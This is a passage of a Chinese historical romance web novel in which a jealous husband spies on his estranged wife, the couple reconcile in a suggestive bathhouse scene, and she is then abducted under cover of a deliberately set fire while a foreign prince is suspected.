远处的宴席上,丝竹管弦之声隔着水榭断断续续地飘来,在迷朦的暮色中显得格外缥缈。 陆谌酒量不算太好,几盏烈酒入腹,眼底已浮起三分醉意,偏生又有同僚过来寒暄,他一边虚应着,一边用余光留意着谢云舟的动向。 等到酒过三巡,见那头的位子上已经多时不见人影,陆谌唇角微不可察地扯了扯,忽然搁下玉瓷酒盏,对身旁的同僚略一拱手,笑道:“诸位慢饮,失陪了。” 从亭中抽身出来,喧闹的丝竹声渐渐远去,陆谌沿着池畔,径直往寿山的方向走。 他对谢云舟的脾性再熟悉不过,艮岳里那些假山石洞、曲径回廊,哪处不是他们儿时玩闹的所在? 谢云舟若要在苑中寻个僻静处说话,闭着眼睛都能猜到他会往哪里去。 他转头看向西侧的回廊。 暮风掠过曲池,在池面摇起细碎的涟漪,水光映着残阳,将廊亭尽头那两道相对而立的身影勾勒得格外清晰。 陆谌的脚步蓦地一顿,将身形隐入池畔的树荫中,目光沉静无波,一动不动地注视着他们两个人的神色。 谢云舟凝视着折柔,好半晌,喉结滚了滚,终于艰难地哑声开口:“九娘,你……你过得可好?若你想走,我还会设法再帮你。” 折柔抿紧了唇。 说不动容是假,可自打经过周霄那一遭,她已决意不再拖累旁人,也不做过多无谓牵扯。 将来前路如何,终归要靠她自己,靠不得旁人。若是继续拖着他,反倒是害了他。 良久,折柔眨了眨眼,压下眼底的涩意,轻声开口,“鸣岐,多谢你,但不必了。” 她顿了顿,指尖深深掐进掌心,逼着自己继续道:“如今的日子……我觉得很好。” 谢云舟呼吸一滞,上前半步,嗓音发紧:“你想同他和好?” 折柔抿唇不语。 “他逼你?”端量着她的神色,分明是有勉强之意,谢云舟的声音陡然沉了下来,拧眉急道:“是不是陆秉言逼你这样的?九娘,你不必怕他,我——” “鸣岐。”折柔轻声打断他,竭力将语调放得平缓,“我是当真觉得很好。” 她抬眸看向他,唇角弯起一抹极淡的笑,眼底却空茫茫的,像是隔了一层薄雾,“这些日子,我想通了。陆谌……他心里有我,除了偶尔蛮横一些,处处都待我很好……你也知晓,我与他之间,终究……情分非比寻常。” 谢云舟只觉浑身血液仿佛一瞬凝滞,整个人如坠冰窟,胸口却像被滚油浇过,灼痛得他几乎喘不过气来。 她分明站在他眼前,却仿佛隔了千山万水,淡得像个影儿,就要捉摸不及。 谢云舟喉头颤动,隐有哽咽,“九娘,你从前不是这般想的……是因为我的身份?这是我的错,但你信我,我不会一直如此……你想要的,我心里清楚,我都能给,你……你别这样。” 信我吧。 你信我一回,容我些时日,别被他轻易哄了去。 折柔咬紧了唇,眼前渐渐泛起一层雾气,不忍再看谢云舟的神色,仓促地偏过了脸。 他像一簇灼灼燃烧的火焰,热烈、赤诚、干净,纯粹得让人心尖发颤。 她亦不是铁石心肠,又怎会不为所动?已经很久很久,没有人待她这般好了。不图回报,从不强求,只是单纯地、固执地,想要护着她。 可这份悸动终究也只是悸动罢了。 这点欢喜,远远不够让她为此豁出去,再奋不顾身一回。她只想过寻常人的日子,不必仰人鼻息,不必屈从于强权。 从前他离了皇家,一身自在无牵无挂,她起心动念,可以同他一试,但如今情形大不相同,他身上担着太多东西,早已不是先前那个可以随心所欲、肆意而为的谢鸣岐了。 很快她便要想法子离开上京,到那时,无论是陆秉言,还是谢鸣岐,都不该再和她有半分瓜葛。 就算将来再有人相伴,她也只会寻一个能让她安心、与她相差无多的人。 折柔抿了抿唇,强忍住眼中酸涩泪意,转身想走。 谢云舟心头狠狠一沉,下意识地伸手探去,攥住她垂落的衣袖,有心想再说些什么,喉间却像被湿棉哽住,千言万语都在舌尖打转,终究没能吐出一个字。 既不敢用力将她拽回,又不甘心就此放手,两人就这样僵在原地,衣袖相连处微微发颤。 “九娘……” 正当此时,不远处忽然传来清脆的击掌声,夹杂着一声戏谑轻笑,“呵,小郡王原还是个情种。” 听见这声音,谢云舟脸色唰地一变,一把将折柔护到身后,冷眼看向那处山石,寒声道:“胡獠果然本性难移,走到哪儿都是不识礼数,改不了这鬼祟行径。” 他话音将落,折柔就见一个身形魁梧的青年懒洋洋地从山石后迈步出来,目光越过谢云舟,直直落在她的脸上,肆无忌惮地打量起来。 折柔猝不及防,和他四目相对。 正是先前岸边的那个西羌王子。 那时她只是遥遥看过一眼,此刻离得近了,方才看清了这羌人的形貌。 约莫二十四五岁的年纪,穿着一身联珠对豹暗纹的金棕色圆领襕袍,腕束乌皮护臂,身形挺拔硬朗,肤色微黑,深目鹰鼻,左耳垂着一枚素银单环。 一双浅瞳映着灯火扫视过来,轻慢之中又有种说不出的冷锐迫人。 像是在打量猎物。 折柔心口猛地一紧,立刻收回视线,低头别开了脸。 谢云舟察觉到她的紧张,当即又侧了侧身,将她严严实实地挡在身后,沉下声警告:“再敢多看我大周的贵眷一眼,小爷便剜了你的眼珠子。” 李保吉一怔,随即从鼻腔里挤出一声嗤笑。 谢云舟懒得和这厮多作纠缠,正要转身护着折柔回去宴上,抬头却见陆谌从一旁的树荫里走了出来。 “巧了,鸣岐。” 陆谌笑着唤了一声,眼底却如淬寒冰,黑沉沉的不见半点光亮,“怪不得宴上不见你人影,原是在这儿躲酒看热闹呢。” 折柔顿时怔住,心头一阵阵发寒,整个人僵在原地无法动弹。 不知这厮又是打哪儿冒出来的,谢云舟对上陆谌挑衅的目光,一时间恨得五内焦灼,牙根发痒,可偏偏这般场合,还当着那羌獠的面,由不得他不忍,只能扬唇呲牙一笑,“可不是巧了,我不过出来散散酒气,竟遇上九娘了,这便是缘分。” 陆谌挑眉一哂,径直走了过来,极其自然地牵起折柔的手,将她细弱的指节完全拢入掌心。 掌心冰凉,没有一丝热气,不知他在风口处站了多久,又听了看了多少。 折柔心一颤,低声问:“你怎的来了?” 陆谌抬起手,将她的一缕碎发捋到耳后,指节不着痕迹地一顿,轻轻抹去她眼角那滴未干的泪珠。 折柔下意识想躲,只是强撑着没有动。她本能地不愿在谢云舟面前和他太过亲昵,一时间倒也说不清缘由,不知是难堪,还是不忍,又或是二者都有。 陆谌似乎有所察觉,眸光微沉,若有似无地捏了捏她的手指,稍用了些力,攥得她微微发疼。 折柔不由顿住。 陆谌垂了垂眼,余光漫不经心地扫过谢云舟,语气却愈发温和:“自然是来寻你。宴上那道雕花蜜煎用了带皮的春桃,怕你不小心误食,又要起疹子。” 折柔再清楚不过他的性子,此刻看着温柔体贴,实则已是强忍怒意,若是闹起来,还不知要如何收场。她索性不再挣动,停顿了一会儿,抿唇笑笑:“知道了,我们回去罢。” 陆谌抬起眼,视线冷冷地扫过李保吉,又落到谢云舟的脸上,扯唇笑了笑:“妱妱初次赴宴,一时走岔了路,遇上些不相干的人,是我这个做夫君的照看不周,倒是有劳鸣岐了,改日表兄请你喝酒。” 说罢,也不等回应,牵着折柔便往回走。 谢云舟气得瞪直了眼,牙关紧咬,指节攥得隐隐发白,却终究未再上前一步。 四下里复又安静下来,唯余风过林梢,沙沙作响。 李保吉慢慢踱步到他身侧,望着那两人并肩走远的背影,忽然意味不明地轻笑了一声。 谢云舟猛地转过头。 如愿看见他苍白的脸色,李保吉挑衅地扬了下眉。 谢云舟眯了眯眼,忽然欺身逼近半步,压低了声音,在他耳边一字一顿道:“李保吉,既然想做我大周的郎子,便给我老实些。” “否则,等来日出了大周的地界,小爷既杀得了你那废物哥哥,自然也能送你下去和他团聚!” 话音落下,他冷冷地睨了李保吉一眼,转身大步离开。 李保吉抱臂独留在原地,出了一会儿的神。 夜风拂过林苑,送来一股幽淡的软香,不似禁廷天家那般奢靡贵气,却别有几分清雅韵味,像是某种花香,若有似无地萦绕在鼻间。 暮色渐沉,昏茫阒寂。李保吉慢慢抬起手,无意识地搓了搓鼻尖。回想着那女人温婉的眉眼,还有谢云舟紧张回护又隐忍失望的模样,一股莫名的燥热自他胸腔窜起,心底生出一阵难以自抑的躁动和亢奋。 李家人说得果然不假。 若是能将谢云舟求而不得的女人强占到手……即便不能手刃仇敌为兄长雪恨,也足以叫他痛不欲生。 此刻,光是想象谢云舟扭曲痛苦的面容,就让他血液都沸腾起来,在这春寒料峭的夜里,竟激出一身滚烫的热汗。 至于那女人的夫婿…… 呵,不重要。 从别人手中抢来的东西,才最叫人痛快。 第74章 浴房 寿山湖后的雅阁本就是供宴上宾客小憩醒酒的去处,此刻宴上正酣,无人来此歇息,四下里甚为僻静。 折柔被陆谌牵着一路往回走,路上不见旁人,只有他们两个。 陆谌起初还和她并肩而行,可转过一条小径后,他越走越快,几乎是扯着她在走。 蔷薇露虽算不上烈酒,后劲却绵长上头,她先前在席上空腹多饮了几盏,到此刻被夜风一激,酒意尽数发散上来,整个人轻飘飘的,脚下虚浮,渐渐跟不上他的步子。 偏生腕上还被他攥得发疼,折柔不由得蹙起了眉,使力挣动,“你慢些……” 陆谌却恍若未闻,反而将她的手腕攥得更紧,脚下丝毫未缓。 折柔被他激出了气性,再也忍耐不住,出声低斥:“陆秉言!你松手,放开我!” 陆谌这才停下脚步,垂眸扫了她一眼,语气里带着淡淡的嘲意,“心头就这般不痛快?” 折柔抿了抿唇,半分都不想理会,只用力挣开他的手,独自往前走。 陆谌却迈步追上去,一把扯住她的衣带,猛地将人拽回到身前,冷眼打量着她的神色,扯唇一哂,“怎的,怨我搅扰了你们的好事?” 简直越说越混账。 事到如今,她还有何不明白的?陆谌为何能突然现身于此,分明是他一早便做了打算,要等着看她和鸣岐会说些什么、做些什么。 想通了这一节,折柔心里的憋闷怨愤便如潮水般一波接着一波地涌上来,含怒道:“你明知今日赴宴会见着他,还要强带我来此,又躲在暗处窥探,不过就是存心试探于我……” 陆谌不自觉攥紧了她的胳膊,黑眸冷沉地逼视过去,“不错,我是有意如此。” “无耻!”折柔咬紧了唇,抬头恨恨地看向他,声音隐约发颤,“如今你可满意了?” 陆谌眉眼阴沉,死死地盯着她。 她大抵是在宴上吃多了酒,此刻醉意熏熏,莹白的双颊晕起红霞,眼中蕴着一汪温软水光,哪怕此刻含嗔带怒,望着人的时候也隐隐带着几分朦胧迷离。 陆谌的脸色越发难看。 听见她出言同谢鸣岐断了干系,他本该感到痛快,可看着她眸中含泪,满眼不舍,心头反倒像塞了一团浸了冰水的棉絮,又冷又沉,堵得他喘不过气来,再一想起那羌獠方才看她的眼神,腔子里更是火烧火燎得生疼难捱。 陆谌的目光愈发幽邃,凝在她白皙光致的脖颈上定了定,只恨不能在人前留下个醒目的印痕。 他忽而扯了抹笑,冷声逼问:“怎的,你就这般难过?” 醉意混杂着怒意涌上心头,折柔盯着他看了片刻,忍不住淡淡地讥讽道:“陆秉言,我不过是同他说了几句话,你又何至于此?怎么,只许你私下见徐家十六娘,却不许我同鸣岐叙旧?” 陆谌身形骤然一滞,眯了眯眼,“……你说什么?” 折柔抬起头来,平淡地道:“你那日为何会中了药、又浸在冰水里……你当我糊涂么?这上京城里,除了徐家的小娘子,何人又会给你下那种药?” 陆谌眸光停顿一霎,唇边却不自觉地缓缓牵起一丝笑意,低头仔细端量起她的神色,“妱妱……你是在生我的气?” 折柔的语气却极为冷淡,“陆秉言,你见过什么人,又和旁的女子有什么牵扯,我半分都不在意。我想见什么人,说什么话,也由不得你拘束。” 说完,她使力挣开他的桎梏,转身便要走。 陆谌偏却不肯罢休,立时伸手扣住她的手腕,将人狠狠地拽了回来。 不待折柔回神挣扎,他已经欺身逼近,将她抵按在身后的山石上,长指抬起她的下巴,漆黑的眸子紧紧盯住她的神色:“你当真全不在意?” 他迫得太近,带着酒意的热息喷薄在颈侧,激起一阵细微的战栗。折柔咬紧唇瓣,倔强地将脸偏向一旁。 陆谌瞧着她这般抗拒模样,眸色渐渐冷沉下来,指节攥得隐隐发白。半晌,他忽地低笑了一声,“不在乎我与旁人如何,却那般舍不得同谢鸣岐撇清干系……可是怕我设计报复,再连累到他,嗯?” 折柔眉心紧蹙,用力地挣扎起来,“放开我!” 陆谌却丝毫不为所动,单手扣住她的细腕,将她死死抵在山石上,恨声逼问:“妱妱,你待旁人都那般和软,为何偏就舍得这般待我?” 他眼尾泛了红,沉沉地逼视着她,“无论我怎样对你,哪怕恨不能将一颗心都剖出来给你,也再换不回你半分心软是不是……你我结发四载,年少相伴,这么多年的情分……竟比不得他谢鸣岐区区数月,是不是?!” 又是这般蛮横,朦朦胧胧地看着眼前这张熟悉至极的脸,折柔酒意上头,心中积蓄已久的不满和怨愤终于决堤似的崩溃。 她喉头紧了紧,隐隐压不住哽咽:“凭什么你想我回头,我便要回头?凭什么你要我像从前一般爱你,我便要爱你?陆秉言,从前我肯给,是因为我愿意,可如今我不想给,不论是谁,再强求也不成!” 恨意混着酸楚直冲眼眶,泪水一瞬间滚落下来,折柔看着他,眼中尽是怨怒和痛楚,“你同我夫妻四载又如何?他不会罔顾我的意愿,更不会强压着我低头……陆秉言,于这一桩事上,你永远都比不得他半分!” 话音落下,空气彷佛一瞬凝滞。 折柔直直地望着陆谌,心跳如擂,胸口剧烈地起伏,指尖不自觉地深深掐进掌心。 方才一时意气上头,不管不顾地将话全扔了出去,此刻她才后知后觉地感到慌惧,只怕他一怒之下发起疯,不知又会做出什么骇人的事来。 两个人一时都不再说话,陆谌脸色阴沉至极,折柔也强撑着和他对视。 她先前在宴上没怎么用过饭食,又饮了不少蔷薇露,胃里本就难受,又呛着冷风同他争吵了半晌,心头又气又惧,很快便感觉胃里一阵阵抽搐,翻江倒海一般地绞痛,强忍了片刻,仍是没能忍住,用力推开陆谌,俯身呕出了几口清酒。 陆谌沉怒的身形一瞬凝固。 片刻后回过神来,他本能地伸出手,一把将人捞进怀里,“……妱妱?” 折柔难受得眼角泛红,在他怀里无力地挣动了两下,却也只能揪着他的衣襟,又呕出几口混着酒气的酸水,这才稍稍缓过劲来。 陆谌咬了咬牙,下颌绷紧,也不容她再挣扎,索性将人打横抱起来,径直出了艮岳,打发亲随向上告了假,带着人乘车回府。 马车内备着温热的清茶,折柔吐尽了胃里的酒水,又用茶水细细漱过口,总算觉得肺腑间松快了些,只是衣裳有些脏污,周身也染上了淡淡的酒气。 两个人都不再说话,逼仄的车厢内一片沉寂,只听得车轮碾过石路的辚辚声响。 陆谌沉默地坐在一旁,垂眼看着她微微发白的脸色,憋了满腔的邪火竟再也无处发泄。 他自认绝非良善,无论是对旁人,还是对他自己,都不可不谓心狠手黑,从未手软过半分,可唯独对她狠不下心肠。 哪怕她同旁人燕好,让他每每想起心里便恨得几要滴血,却宁可一刀一刀割在自己身上,也终究舍不得拿她怎样。 平川早早便已回府传了话,等回到别院,仆妇已经备好热水。陆谌先下了车,转身朝车厢内伸出手臂,“过来。” 折柔抿着唇,指尖无意识地攥紧了衣袖。 不待她回应,陆谌已俯身探入车厢,不由分说地一把将她打横抱起,随手扯了外袍裹住,径直走去浴房。 绕过屏风,氤氲暖热的水汽扑面而来,夹杂着干净清冽的皂角气味。 陆谌将她放到一旁的竹榻上坐好,转身去试浴桶里的水温。 折柔垂着眼不作声,抬手去卸头上钗环,心里乱糟糟地拧成一团。 原本想好不再同他争执,慢慢等他放松戒心,可方才酒意上头,憋闷之下将怨气乱泄一通,此刻神智清明过来,倒不知要如何同他相处才好。 命妇的钗冠繁复沉重,她拆得不甚熟练,不小心扯住一缕发丝,顿时疼得轻嘶了一声。 陆谌闻声回头,眉心拧了拧,一把扣住她的手腕,“别动,我帮你拆。” 折柔动作微顿,语气不由有些僵硬,“……我自己来便好,不用人帮。” 陆谌垂眸扫了她一眼,瞧着她此刻是当真缓过劲了,非但没什么大碍,反倒还有力气给他添堵,不由一哂,“是不用人帮,还是不用我帮?” 见他又言辞挑衅,折柔心中不耐,存着几分破罐子破摔的赌气意味,一把拨开他伸来的手。 却不想陆谌刚巧偏过了身子,替她去解另一侧的钗环,她这一抬手,手肘不偏不倚撞在他胸前的伤处,结结实实,发出砰一声闷响。 那银簪刺出的创口虽不算粗宽,却是狭而深长,偏他又存心用过腐药,只为惹她几分怜惜,以至于拖了这些时日,伤势反反复复一直不曾痊愈,实是经不得这一撞。 陆谌骤然吃痛,闷哼了一声,额上瞬间疼出冷汗,唇色都跟着泛了白。 折柔知晓他的伤情,本意也不想如此,有些无措地看着陆谌极慢、极慢地弓起腰,将额头深深埋进她的颈窝,似是在忍痛,呼吸微沉,半晌没有作声。 折柔被他扣住双臂,整个人僵坐在竹榻上,指尖无意识地微蜷起来,一时竟不知该如何动作。 正想抬手将他推开,陆谌却忽然哑声开口,语气也是出奇的温和:“可解气了?不够的话,再刺我一刀,如何?” 听他又说疯话,折柔抿紧唇瓣,向一旁别过脸。 两个人一时都不再说话,浴室里陷入长久的静默,只听得见彼此的呼吸声,在朦胧氤氲的水汽里交织起伏。 不知过了多久,陆谌缓缓将她揽入怀中,掌心带着熟悉的温度,静静抚摸着她纤瘦的背脊,一下一下,像是安抚,又像是眷恋。 折柔紧绷的肩背终于慢慢软化下来。 “妱妱……”陆谌喉结滚了滚,声音低哑得像是从胸腔里碾出来,透着说不出的痛苦和疲倦,“我也有心……我的心也是肉长的,刀扎进去会流血,箭射穿了会绝命……妱妱,我也会疼。” 半晌,陆谌牵起她的手,抵在自己心口,涩声重复:“妱妱,我也会疼……” 掌下是急沈而有力的心跳,一下下撞击着肋骨,又波至她的指尖。 折柔彷佛被什么烫到,细弱的指尖一瞬轻蜷起来。 她见惯了这人的蛮横可恨,可他突然间像小狸一般摊开柔软的肚皮,露出从前那副示弱乞怜的模样,反倒教她不知该如何招架,心里滋味复杂难言,又挣脱不得,只能恨恨地一口咬上他的肩头。 陆谌闷哼一声,却并未推开她,反而缓缓收紧了环抱着她的双臂,脸颊贴着她微凉的鬓发,慢慢挨蹭,“恨我不如鸣岐待你宽和……都是我从前强逼于你,让你受了委屈,是不是?” “当初对你不起,我早已悔恨至极……我想哄你回来,听你再唤我阿郎,妱妱……” 陆谌抬手捧住她的脸颊,指腹轻轻抚着她的肌肤,哑声低叹,“你和我少年夫妻,识于微末,当初在洮州,唯有彼此……这般的情分,你如何舍得……” “可你偏生就这般倔,不肯回头看我……我是当真没有法子了,妱妱。” 折柔教他抱在怀里,听着这些话,心头压抑的委屈和怨忿一时间齐齐涌上来,逼得她眼眶酸胀,泪意难止。 她忍不住抬头看过去,眼中含泪,哽咽出声,“陆秉言,那我就有法子么?” 雾气氤氲,模糊了彼此的视线,折柔咬着唇,眼泪大颗大颗地滚落下来,单薄的肩头不住发颤,指节紧紧揪着他的衣襟,用力得泛白。 陆谌心头发紧,指腹轻轻抚过她湿漉漉的脸颊,低头吻去她眼尾的泪珠,哑声道:“莫哭了,妱妱……都是我的错……我改。” “我辞官,同你回洮州,要杀要剐随你解恨,嗯?” “大约不会用上太久,至多三四个月……到时你想开药铺也成,医馆也好,我帮你打理,家中银钱都由你管着……往后,我再也不会逼你,咱们重头来过,就像当年一般模样……成不成?” 折柔依旧哽咽着,并不应声。 陆谌低头寻住她微凉的唇瓣,轻轻含住,辗转厮磨间,将她紧绷的身子安抚得渐渐柔软下来。 顺势将人抱入浴桶,除去衣衫,肌肤相贴,掐着她的喜好,带着些刻意的取悦,温存缠绵。 情和欲本就交缠相生,难分彼此,哄得她身子欢愉了,心里的怨气迟早也会跟着散了。 残余的酒意被潮热的水汽蒸腾出来,折柔渐渐教他缠吻得头脑昏沉,颊边晕红,呼吸微微发促。 陆谌搂紧她纤软的腰肢,腾出一只手,探身从旁边的搁架上取来一只小巧的紫檀木盒。 单手推开盒盖,里面是前两日西军同袍送他的一枚太极丸,做工极精致,不过龙眼大小,却篆花漆铜,内里镂空,灌裹着水银,滚颤如蝉鸣。 本就是预备着拿来讨好她的玩意儿,今日倒是将巧派上用场。 陆谌单手将人圈抱进怀里,冰凉的细银小链勾缠在修长指间。 水波轻漾,周遭渐渐变得陌生而混乱起来。 呼吸纠缠间,折柔仰起纤颈,似要挣脱,指尖却深深掐入身前劲瘦的肩膀,唤出一声带着哭腔的呜咽,“陆秉言……” 陆谌眸光微暗,立即俯身回应,掌心捧住她软热的脸颊,唇舌交缠,含吻住她的呜咽。 肌肤相贴处沁出涔涔热汗,陆谌抬手拨开她黏在脸颊上的发丝,幽邃黑眸紧紧凝住她的神色,耐性地依循着她的反应。 屋外风声呜咽,浴桶里热水翻浪,偶有水花迸溅出来,湿热的水汽在室内蒸腾蔓延。 陆谌定定地看着怀里的人。 心脏仿佛浸透了屋中的水汽,一阵阵泛起潮热。 她既能有这般模样,心里大抵,总还是有他的。 这等欢愉快意,旁人不曾予她,亦只有他能给。 …… 不知过了多久,浴桶里的水彻底冷了下来,折柔倦累得昏昏欲睡,窝在他怀里喘息细细。 陆谌将她往怀中拢了拢,在她汗湿的额间落下一个吻,“妱妱……往后还要不要我?” 折柔困倦得朦胧迷茫,恍惚中听见陆谌在说话,却分辨不清他说了些什么,只本能地挣动了一下,下一瞬,却又被他搂得更紧。 僵持争执了一日,两个人都是身心俱疲,乏倦之后,倒是一夜沉沉好眠。 次日一早,陆谌起身上值,临出门,唤住了南衡,沉吟着交待:“往后不必再跟着她,暗处的人不撤,明面上只留平川一个。” 他既答允要改,总要一步步做出退让,不想因此惹她不快,平白寒了她的心,再增隔阂。 南衡闻言一怔,随即躬身应了声是。 倒也不出他所料,折柔很快便察觉到了变化。 再出门时,守在她身边的人少了许多,南衡不再寸步不离地盯着她,陆谌似乎也当真在筹谋辞官归乡的事,在值上整日繁忙不见人影,还另外着人清点起在上京的财货铺面。 陆谌一夜之间陡然变了副模样,折柔说不清心里是什么滋味。 可那么多刻骨入心的隔阂失望、折辱伤害,又岂是这样轻飘飘的几句话便能轻易抚平? 爱和恨,从来不能相抵。 她并不打算因此而动摇,仍在暗中为随商队离京做着准备。 却不想,她还不曾寻机离开,药铺里先出了事。 第75章 劫掳 西羌此番求亲极有诚意,很快便同大周议定了礼法章程和婚期,前后不过一旬有余,使团已经准备返程西行,只等入秋再来亲迎公主出降。 西羌的使团返程在即,禁军既要抽调精锐沿途护送,又需操练仪仗琐事,陆谌的公务愈发繁忙。 这日晌午他勉强抽出空隙,直接穿着甲胄过来药铺,给折柔捎了几样潘楼的新菜,又匆匆赶去城郊巡营。 大抵是军务缠身,直到暮色沉透,夜色上浮,也不见他回城。 屋子里的光线渐渐变得混沌,折柔正要唤小婵掌灯,窗外突然浮起一片昏黄的亮光,映亮了大半个屋子。 像是火光。 折柔顿觉诧异,正要起身过去查看,陆谌留下的护卫已顾不得隐匿身形,急急从药铺外冲进来,要护着她往外去,“娘子!隔壁的铺子起火了,火势极凶,此地不宜久留,快走!” 折柔心头一惊,当即拽上小婵,匆匆往药铺门外跑。 前后只不过片刻功夫,屋外已经黑烟四起,空气中尽是呛人的草木烧灼气味。 这火势起得既突兀又猛烈,绵延得更是极为诡异,倒像是被人泼了油。 火苗仿佛是从四面八方涌出来,借着风势熊熊而燃,转眼间便烧成一片火海,又顺着院墙朝这边蔓延,屋门木柱陷入火中,烧出噼啪的声响,即便站在远处,也能感觉到热浪炙烫灼人。 马行街本就是上京城中颇为繁华的地段,这时辰街上更是人流如织,熙攘往来。 毗邻的几间铺子都被火势殃及,众人一面推搡着奔逃一面惊惶大喊,乱糟糟地挤作一团,有人端着木盆往火里泼水,却反倒让火势烧得更旺。 此间情形很快便惊动了城中的望火楼[1],数十个潜火兵敲着响锣冲撞开围聚的人群,急吼吼地涌了进来。 四下里浓烟滚滚,人群推搡间,折柔不知被什么人狠狠撞了一下,踉跄着向前扑去。平川见状一惊,刚要出手搀扶,却被慌乱的人流冲得一个趔趄。就在此时,他腰间突然一麻,半边身子顿时使不上力气。 “娘子!” 一片拥挤混乱中,折柔勉强站稳了身形,听见他唤得惶急,正要出声回应,却突然被一只粗糙的大手从后死死捂住了口鼻,再也发不出一丝一毫的声响。 折柔心头剧震,惊骇之下,想也未想便反手去抓那人的手腕,指甲深深掐进对方的皮肉,一心想要用力挣脱。 那人似是吃痛,动作更加狠厉,没有分毫迟滞,抬起一记手刀重重劈在她后颈。折柔只觉眼前一黑,下一瞬便彻底失了意识,身子软绵绵地向后瘫倒下去。 小婵原本和她牵着手,就站在近旁,此刻忽觉手上一空,立时惊慌着回头四顾,可她踮脚望了一圈,眼前只有数不清的陌生面孔挨挨挤挤,哪里还寻得见她家娘子的人影? “娘子?!娘子——” 小婵心头大急,声音里也不由带上几分哭腔,又竭力大喊了几声,却尽数淹没在鼎沸嘈杂的喧嚣声中,根本无人回应。 — 陆谌忙了大半日,待到整顿完营中军务,见天色已经全然黑透,也不在营中多留,扯过马翻身而上,带着南衡折返回城。 行至城门口的小摊夜市,忽然闻见一处旋煎羊肉的香气,香而不膻,味道上佳。陆谌停下买了一份,用油纸仔细包好,估摸着等一会儿带回去,必定合她口味。 南衡见状,笑着朝路旁指了指,给他出主意,“郎君,这花也好生新鲜,要不要给娘子带些回去?” 陆谌眸中隐隐浮起一丝笑意,正想过去看一眼,可不知为何,心头却无端地一紧,莫名涌起一阵焦躁不安。 这念头一起,陆谌不敢再有分毫耽搁,拨转马头,径直往城中而去。 入了城门,往前驰出不远,街头突然传来一阵急促的马蹄声。 抬头望去,就见平川策马狂奔而来,一眼看见他脸上那狼狈惊惶的神色,陆谌心头咯噔一声,浑身的血液仿佛瞬间凝固。 他当即催马上前,一把扯过平川的马缰,单手迅速挽了几圈,猛地勒停马匹,“可是家中出事了?” 受惊的马匹长嘶着人立而起,平川却顾不得稳住身形,嘶声应了是,“郎君,大事不好了!娘子被人劫走了!” 陆谌眸光一寒,喝道:“细说时辰经过!” 平川急喘着道:“大约临傍晚的时候,药铺隔壁突然起了大火,整条街上乱成一片,不知有什么人混在其中,趁乱将娘子掳走了。” “事发时,附近有无可疑之人?” “隐约瞧见一人行迹可疑,杨拾带人去追了,属下急着报信,不知,不知他追上了没……” 越说越心虚,声音也小了下去,这便是全无线索,更不知她是被掳去何方的意思了。 陆谌心头狠狠一沉,也不再说话,一夹马腹,当先纵马疾驰而出,十余骑亲兵紧随其后,马蹄声踏碎沉沉夜色,扬起一路沙尘。 南衡越想越觉不对,急忙追赶上前,同陆谌并辔而驰,迟疑着开口问道:“郎君,会不会是……小郡王?” “不会。”陆谌策马疾驰,下颌紧绷如铁,脸色极为难看,“他做不出这等杀人放火的勾当。” 依平川所言,这场大火来得实是蹊跷。倘若他没猜错,贼人本就是冲着她去的,发觉绕不开他留下的护卫,便故意放了把火,以便趁乱将人劫走。 会是何人对她下手? 徐家的根系已经铲除干净,今时今日,上京城中并无他的仇家。 为了劫人,竟能在那等地段毫无顾忌地放火烧屋,必是狠绝凶恶之徒所为。 陆谌心急如焚,一面策马没命地往回急驰,一面强逼自己冷静,竭力思量她的去处。突然间,一个念头如惊雷般劈入脑海。 西羌人。 电光火石间,陆谌单手控缰,另一手扯下腰牌抛给南衡,“去找鸣岐,教他一道帮忙寻人,尤其要探清李保吉的动向,一有消息,立时来报!” 南衡急忙伸手接住,扬声应是,拨转马头,直朝禁中而去。 一路往回赶,陆谌心脏也不断往下沉。 那日羌獠贼子的神色反复在脑中浮现盘旋,他只一想她许是落入虎口,身处险境,手背上的青筋便狰狞暴起,血潮汹涌着拍打向耳膜,心脏急跳得几要破胸而出。 宁可是教谢云舟带走了她! 死死咬紧牙关,勉强压下满腔的恨怒,陆谌转头唤来亲随,一字一句,寒声下令。 “即刻调派人手,全力去寻李保吉。从新郑门外的胡商聚集之所开始,所有客舍、勾栏、游船、画舫,但凡他能寻欢作乐之处,一处不落地给我搜!” 羌獠离京在即,倘若赁屋租院反倒异样显眼,既然劫了人图谋不轨,多半会借着寻欢之所隐匿行踪。 亲随齐声应是,当即分作两队,各自奔出。 自那日曲宴过后,谢云舟染了场不大不小的风寒,整个人眼见着颓靡下去,连饭食也用得极少。官家心知其中缘由,起初甚是嫌他不值钱,竟教个女子牵动心绪至此,可冷眼看了几日到底还是狠不下心肠,索性叫来陈隋跟着,放他回胥国公府住了几日,权当散心。 只是谢云舟虽回了国公府,却也没能落得清净,李桢先后着人递了几回帖子,约他去樊楼小聚,谢云舟一直懒得理会,李桢竟亲自寻上门来,拎着坛好酒,说是邀他品鉴。 谢云舟懒懒地斜靠在圈椅里,满心不耐,实不知这厮葫芦里卖的什么药。 他们两个自幼便不对付,打过的架数不胜数,李桢不是他和陆谌的对手,偏偏还喜欢嘴上犯贱,不是骂他马夫之子就是骂他野种,如今他不仅折了徐崇这门助力,更是坐实了野种的名号,彼此之间早已势成水火,这厮还来和他装什么狗屁的兄友弟恭。 李桢却似兴致颇高,提起碧玉酒注,牵袖斟了两盅酒,将其中一盏推至谢云舟面前,“听闻你前几日染了风寒,官家总要咱们兄弟手足和睦,三哥今日便来瞧瞧,你身子如何了。” 谢云舟懒得和他扯那有的没的,撩起眼皮扫了眼玛瑙盅里琥珀色的酒液,扬唇哂道:“我说三哥,你若有事求我呢,直说便是了,大可不必同我来这套。” 李桢闻言倒也没翻脸,只是意味深长地笑了笑,倒是真像一副包容兄长的做派。停顿片刻,他正要说话,廊下忽然传来一阵急促的脚步声。 谢云舟循声抬头,就见府上的小厮匆匆入内,上前向他行了礼,低声禀道:“公子,陆府来人,有急事。” 谢云舟一怔,旋即起身出了门。 南衡就候在院中的青石阶下,一脸的焦灼之色,抬头见谢云舟走了出来,赶忙迎上几步,压低声音,将事发经过快速地交待了一遍。 谢云舟闻言脸色一变,猛地转头看向南衡:“你说什么?!” 南衡扫了眼守在廊下的陈隋,微微偏过身子,附耳低声道:“属下所言句句属实,我家郎君已经遣人去寻李保吉的踪迹,但事出紧急,娘子安危刻不容缓,急需小郡王相助!” 谢云舟猛然想起那日李保吉的眼神,一股寒意顿时从脚底直冲头顶,心脏砰砰急跳起来,后背的冷汗涔涔而下,瞬间浸透里衣。 情势危急,多耽一分,她便多一分危险,谢云舟当即唤来身边亲随,急声下令:“点上人手,备马,跟我走!”话音未落,拔腿就往外冲。 